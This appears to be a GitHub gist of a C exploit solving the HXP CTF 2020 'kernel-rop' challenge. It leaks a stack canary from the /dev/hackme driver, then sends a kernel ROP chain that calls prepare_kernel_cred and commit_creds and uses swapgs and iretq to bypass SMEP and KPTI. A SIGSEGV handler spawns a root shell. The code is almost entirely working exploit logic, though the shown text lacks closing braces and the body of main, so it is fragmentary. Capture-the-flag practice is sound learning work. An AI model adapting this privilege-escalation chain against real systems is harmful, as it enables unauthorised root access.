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Last active September 5, 2022 04:51
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HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with SIGSEGV handler; no KASLR
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
struct sigaction sigact;
char *VULN_DRV = "/dev/hackme";
void spawn_shell();
int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff815f88ec;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8146d4e4;
uint64_t iretq = 0xffffffff819c68f6;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
void leak_cookie() {
uint8_t sz = 40;
uint64_t leak[sz];
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
uint64_t data = read(global_fd, leak, sizeof(leak));
cookie = leak[cookie_off];
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
if(!cookie) {
puts("[-] failed to leak stack canary!");
void spawn_shell() {
puts("[+] returned to user land");
puts("[*] receiving and handling SIGSEGV");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
puts("[*] spawning shell");
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pop user_rflags;"
void overwrite_ret() {
puts("[*] trying to overwrite return address with ROP chain");
uint8_t sz = 50;
uint64_t payload[sz];
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rdi_ret; // return address
payload[cookie_off++] = 0x0;
payload[cookie_off++] = prepare_kernel_cred;
payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = commit_creds;
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
void register_sigsegv() {
puts("[*] registering default action upon encountering a SIGSEGV");
sigact.sa_handler = spawn_shell;
sigact.sa_flags = 0;
sigaction(SIGSEGV, &sigact, (struct sigaction*) NULL);
int main(int argc, char **argv) {
return 0;
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